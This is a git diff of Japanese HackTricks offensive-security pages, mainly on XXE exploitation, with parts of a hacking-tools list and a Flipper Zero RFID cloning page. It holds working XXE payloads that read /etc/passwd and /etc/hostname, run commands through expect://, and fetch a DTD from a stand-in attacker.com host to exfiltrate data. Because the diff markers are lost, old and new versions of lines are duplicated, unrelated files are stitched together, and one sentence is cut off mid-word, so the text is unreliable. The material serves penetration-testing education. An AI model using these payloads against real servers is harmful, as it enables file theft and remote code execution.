PKZIPファイル内のファイルにアクセスできると、**system DTDファイルを介したXXEの悪用に非常に役立ちます。** [このセクションをチェックして、system DTDファイルを悪用する方法を学びます](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
PKZIPファイル内のファイルにアクセスできると、**system DTDファイルを介したXXEの悪用が非常に有用**です。[こちらのセクションをチェックして、system DTDファイルの悪用方法を学んでください](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
{% endhint %}
PKZIPアーカイブ内のファイルにアクセスするプロセスは、次の手順に従います:
PKZIPアーカイブ内のファイルにアクセスするプロセスは、jarプロトコルを介して行われます。その手順は次のとおりです:
1. 指定された場所からzipアーカイブをダウンロードするためにHTTPリクエストが行われます。例`https://download.website.com/archive.zip`。
2. アーカイブを含むHTTPレスポンスは、通常`/tmp/...`などのシステム上の一時的な場所に一時的に保存されます。
3. アーカイブは展開され、その内容にアクセスできます。
2. アーカイブを含むHTTPレスポンスが一時的にシステムに保存されます。通常は`/tmp/...`などの場所です。
3. アーカイブは解凍され、その内容にアクセスできます。
4. アーカイブ内の特定のファイル、`file.zip`が読み取られます。
5. このプロセス中に作成された一時ファイルは、操作の後に削除されます。
5. このプロセス中に作成された一時ファイルは削除されます。
このプロセスを第2ステップで中断させる興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために利用できるツールは、Pythonサーバー`slow_http_server.py`やJavaサーバー`slowserver.jar`)などが含まれています。[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution)で利用可能です。
このプロセスを第2ステップで中断させる興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために利用できるツールは、[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution)にあり、Pythonサーバー`slow_http_server.py`やJavaサーバー`slowserver.jar`)が含まれています。
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
@ -313,9 +314,9 @@ Responder.py -I eth0 -v
### XInclude
サーバーサイドのXMLドキュメントにクライアントデータを統合する際、バックエンドのSOAPリクエストなどで、XML構造を直接制御することが制限されることがよくあります。そのため、`DOCTYPE`要素の変更に制限があるため、従来のXXE攻撃が妨げられることがあります。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にするため、解決策を提供します。この方法は、サーバーが生成したXMLドキュメント内のデータの一部しか制御できない場合でも効果的です。
サーバーサイドのXMLドキュメントにクライアントデータを統合する際、バックエンドのSOAPリクエストなどで、XML構造を直接制御することが制限されることがよくあり、`DOCTYPE`要素の変更に制限があるため、従来のXXE攻撃が妨げられることがあります。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にするため、解決策を提供します。この方法は、サーバーが生成したXMLドキュメント内のデータの一部しか制御できない場合でも効果的です。
`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図した外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃をどのように構築できるかを簡潔に示した例です
`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図した外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃をどのように構築できるかを簡潔に示した例です
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -323,11 +324,11 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
### SVG - ファイルのアップロード
特定のアプリケーションにユーザーがアップロードしたファイルは、サーバーで処理されることがあり、XMLやXMLを含むファイル形式の処理方法に脆弱性が存在する可能性があります。オフィス文書DOCXや画像SVGなどの一般的なファイル形式は、XMLに基づいています。
ユーザーが特定のアプリケーションにアップロードしたファイルは、サーバーで処理されることがあり、XMLやXMLを含むファイル形式の処理方法に脆弱性が存在する可能性があります。オフィスドキュメントDOCXや画像SVGなどの一般的なファイル形式は、XMLに基づいています。
ユーザーが**画像をアップロード**すると、これらの画像はサーバーサイドで処理または検証されます。PNGやJPEGなどの形式を期待しているアプリケーションでも、**サーバーの画像処理ライブラリがSVG画像をサポート**している可能性があります。XMLベースの形式であるSVGは、攻撃者が悪意のあるSVG画像を送信して、サーバーをXXEXML External Entityの脆弱性にさらすことができます。
ユーザーが**画像をアップロード**すると、これらの画像はサーバーサイドで処理または検証されます。PNGやJPEGなどの形式を期待しているアプリケーションでも、**サーバーの画像処理ライブラリがSVG画像をサポートしている**可能性があります。SVGはXMLベースの形式であり、攻撃者が悪意のあるSVG画像を送信して、サーバーをXXEXML External Entityの脆弱性にさらすことができます。
以下は、悪意のあるSVG画像がシステムファイルを読み取ろうとする例です
以下に、悪意のあるSVG画像がシステムファイルを読み取ろうとする攻撃の例が示されています。
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
@ -337,11 +338,11 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
<image xlink:href="expect://ls"></image>
</svg>
```
両方のインスタンスで、SVG形式が使用され、サーバーソフトウェアのXML処理機能を悪用する攻撃が実行されます。これは、堅牢な入力検証とセキュリティ対策の必要性を強調しています。
両方のインスタンスで、SVG形式が使用され、サーバーソフトウェアのXML処理機能を悪用する攻撃が実行され、堅牢な入力検証とセキュリティ対策の必要性が強調されています。
詳細については、[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) をチェックしてください!
**注読み取りファイルの最初の行または実行結果の最初の行は、作成された画像の内部に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。**
**注**:読み取りファイルの最初の行または実行結果の最初の行は、作成された画像の**内部**に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。
### **PDF - ファイルのアップロード**
@ -361,7 +362,7 @@ Content-Length: 7
foo=bar
```
その後、同じ結果を得るために次のリクエストを送信できるかもしれません:
その後、同じ結果を得るために次のリクエストを送信できるかもしれません:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -371,7 +372,7 @@ Content-Length: 52
```
### Content-Type: JSON から XEE へ
リクエストを変更するには、**Content Type Converter** という Burp 拡張機能を使用できます。[こちら](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) でこの例を見つけることができます。
リクエストを変更するには、「**Content Type Converter**」という Burp 拡張機能を使用できます。[こちら](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html)にこの例があります。
```xml
Content-Type: application/json;charset=UTF-8
@ -407,11 +408,11 @@ Content-Type: application/xml;charset=UTF-8
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
これは、XMLサーバーが`data://`プロトコルを受け入れる場合にのみ機能します。
### UTF-7
XMLサーバーが`data://`プロトコルを受け入れる場合のみ機能します。
\[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) でUTF-7に変換します。
\[**"Encode Recipe**" of cyberchef here ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)でUTF-7に変換できます。
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -425,15 +426,15 @@ XMLサーバーが`data://`プロトコルを受け入れる場合のみ機能
```
### ファイル:/ プロトコル バイパス
Web が PHP を使用している場合、`file:/` の代わりに **php ラッパー** `php://filter/convert.base64-encode/resource=` を使用して **内部ファイルにアクセス** できます。
Web が PHP を使用している場合、`file:/` の代わりに **php wrappers**`php://filter/convert.base64-encode/resource=` を使用して **内部ファイルにアクセス** できます。
Web が Java を使用している場合は、[**jar: プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol) をチェックできます。
Web が Java を使用している場合は、[**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol) をチェックできます。
### HTML エンティティ
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) からのトリック\
**エンティティ内にエンティティ** を作成し、**html エンティティ** でエンコードしてからそれを呼び出して **dtd をロード** できます。\
使用される **HTML エンティティ****数値** である必要があることに注意してください(この例のように)。
**HTML エンティティ** を使用して **エンティティ内にエンティティ** を作成し、それを **呼び出して dtd を読み込む** ことができます。\
使用される **HTML エンティティ****数値** である必要があることに注意してください(\[この例\]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C))のように)。
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -477,13 +478,13 @@ DTDの例
```
## XLIFF - XXE
この例は、[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) に触発されました。
この例は、[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) でインスパイアされました。
XLIFFXML Localization Interchange File Formatは、ローカライゼーションプロセスにおけるデータ交換を標準化するために使用されます。これは、主にローカライゼーション中にツール間でローカライズ可能なデータを転送するために使用されるXMLベースの形式であり、CATComputer-Aided Translationツールの共通の交換形式としても使用されます。
### Blind Request Analysis
以下の内容でサーバーにリクエストが送信されます:
次の内容でサーバーにリクエストが行われます:
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -495,13 +496,13 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
しかし、このリクエストは内部サーバーエラーを引き起こし、具体的にはマークアップ宣言に問題があると言及しています:
しかし、このリクエストは内部サーバーエラーをトリガーし、具体的にはマークアップ宣言に問題があると言及しています:
```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
エラーが発生したにもかかわらず、Burp Collaborator にヒットが記録され、外部エンティティとのある程度のやり取りがあったことが示されます。
エラーが発生したにもかかわらず、Burp Collaborator にヒットが記録され、外部エンティティとのある程度のやり取りが示されます。
帯域外データの流出 データを流出させるために、修正されたリクエストが送信されます:
外部バンドデータのエクスフィルトレーション データをエクスフィルトレートするために、修正されたリクエストが送信されます:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -513,16 +514,16 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
このアプローチでは、User AgentがJava 1.8の使用を示していることが明らかになります。このJavaのバージョンの注目すべき制限は、改行文字を含むファイル/etc/passwdをOut of Bandテクニックを使用して取得できないことです。
このアプローチにより、User AgentがJava 1.8の使用を示していることが明らかになります。このJavaのバージョンの注目すべき制限事項は、改行文字を含むファイル(例:/etc/passwdをOut of Bandテクニックを使用して取得できないことです。
エラーベースのデータエクスフィルトレーション この制限を克服するために、エラーベースのアプローチが採用されます。次のようにDTDファイルを構造化して、ターゲットファイルからデータを含むエラーをトリガーします:
エラーベースのデータエクスフィルトレーション この制限を克服するために、エラーベースのアプローチが採用されます。次に示すようにDTDファイルが構造化され、ターゲットファイルからデータを含むエラーがトリガーされます:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
サーバーはエラーで応答し、重要なのは存在しないファイルを反映しており、サーバーが指定されたファイルにアクセスしようとしていることを示しています
サーバーはエラーで応答し、重要なのは存在しないファイルを反映しており、サーバーが指定されたファイルにアクセスしようとしていることを示しています:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@ -533,7 +534,7 @@ Content-Type: application/x-xliff+xml
%foo;
%xxe;
```
この変更により、ファイルの内容が正常に外部流出され、HTTP経由で送信されたエラー出力に反映されます。これは、感
この変更により、ファイルの内容が成功裏に外部流出され、HTTP経由で送信されたエラー出力に反映されます。これは、感
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -600,7 +601,7 @@ PHPのbase64フィルターを使用
```
## Java XMLDecoder XEE to RCE
XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータを使用させて**readObject**メソッドを呼び出すことができれば、サーバーでコードの実行権限を瞬時に取得します。
XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータを使用させて**readObject**メソッドを呼び出すことができれば、サーバーでコードを実行できます。
### Runtime().exec()を使用する
```xml
@ -680,19 +681,19 @@ XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成す
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
</details>

View file

@ -1,18 +1,18 @@
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
* **HackTricks****HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -61,17 +61,17 @@ HackTricksをサポートする他の方法
* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : 高速ポートスキャン
* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Web内のJSファイルからサブドメインとURLを取得
* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Webファイル辞書
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : リピータータブを避けるためのBurpExtension
* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : リピータータブを数十個回避するためのBurpExtension
* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : アセットを取得する
* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Googleドークス
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Web BugBountyチェックリスト
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : ドメインのリストをオープンリダイレクションに対してチェックする
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Web BugBounty チェックリスト
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : リダイレクションをチェックするためのドメインのリスト
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : ドメイン、サブドメイン、IPを発見するためのオフライン解析を行うBurpプラグイン
* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): 異なるツールのリスト
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : 脆弱性SQLi、XSS、SSTIを見つけるためのBurpSuiteプラグイン
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : post-messages関数を追跡するためのChrome拡張機能
* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : 自動認証テスト(クッキーを削除してリクエストを送信しようとする)
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCrossは、再構築、スキャナー、および侵入/ BugBountyテストツールです。このツールは、XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLIの脆弱性をテストするために構築されました
* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCrossは、再構築、スキャナー、およびペネトレーション/ BugBountyテストツールです。このツールは、XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLIの脆弱性をテストするために構築されました
# Windows
* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : Lateral movements
@ -131,10 +131,12 @@ Firmware emulation: FIRMADYNE (https://github.com/firmadyne/firmadyne/) is a pla
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : This list aims to cover Electron.js security related topics.
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : Info about BB programs
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -143,8 +145,6 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details>
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。

View file

@ -2,23 +2,22 @@
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)でフォローする
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る
- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- **HackTricks**https://github.com/carlospolop/hacktricks[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## イントロ
125kHzタグの動作についての詳細は、以下をチェックしてください
@ -36,7 +35,7 @@ HackTricksをサポートする他の方法
カード情報を**読み取ろうと**します。その後、それらを**エミュレート**できます。
{% hint style="warning" %}
一部のインターコムは、キーの複製を防ぐために、読み取りの前に書き込みコマンドを送信しようとします。書き込みが成功すると、そのタグは偽物と見なされます。FlipperがRFIDをエミュレートすると、リーダーがオリジナルと区別する方法がないため、そのような問題は発生しません。
一部のインターホンは、キーの複製を防ぐために、読み取りの前に書き込みコマンドを送信しようとします。書き込みが成功すると、そのタグは偽物と見なされます。FlipperがRFIDをエミュレートすると、リーダーがオリジナルと区別する方法がないため、そのような問題は発生しません。
{% endhint %}
### 手動で追加
@ -45,18 +44,18 @@ Flipper Zeroで**データを指定して**偽のカードを作成し、それ
#### カード上のID
カードを受け取ったときに、そのIDまたは一部がカードに記載されていることがあります。
カードを受け取ったときに、そのIDまたは一部がカードに書かれていることがあります。
- **EM Marin**
たとえば、このEM-Marinカードでは、物理カードに**最後の5バイトのうち3バイトが明確に読み取れます**。\
カードから読み取れない場合は、ブルートフォース攻撃で残りの2つを見つけることができます。
たとえば、このEM-Marinカードでは、物理カードに**最後の5バイトのうち3バイトが明確に**読み取れます。\
カードから読み取れない場合は、ブルートフォースで他の2つを見つけることができます。
<figure><img src="../../../.gitbook/assets/image (101).png" alt=""><figcaption></figcaption></figure>
- **HID**
同様に、このHIDカードでは、3つのバイトのうち2つしかカードに印刷されていません
同様に、このHIDカードでは、3バイトのうち2バイトだけがカードに印刷されています。
<figure><img src="../../../.gitbook/assets/image (1011).png" alt=""><figcaption></figcaption></figure>
@ -64,25 +63,24 @@ Flipper Zeroで**データを指定して**偽のカードを作成し、それ
カードを**コピー**したり、IDを**手動で入力**した後、Flipper Zeroでそれを**エミュレート**するか、実際のカードに**書き込む**ことができます。
## 参
## 参考文献
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
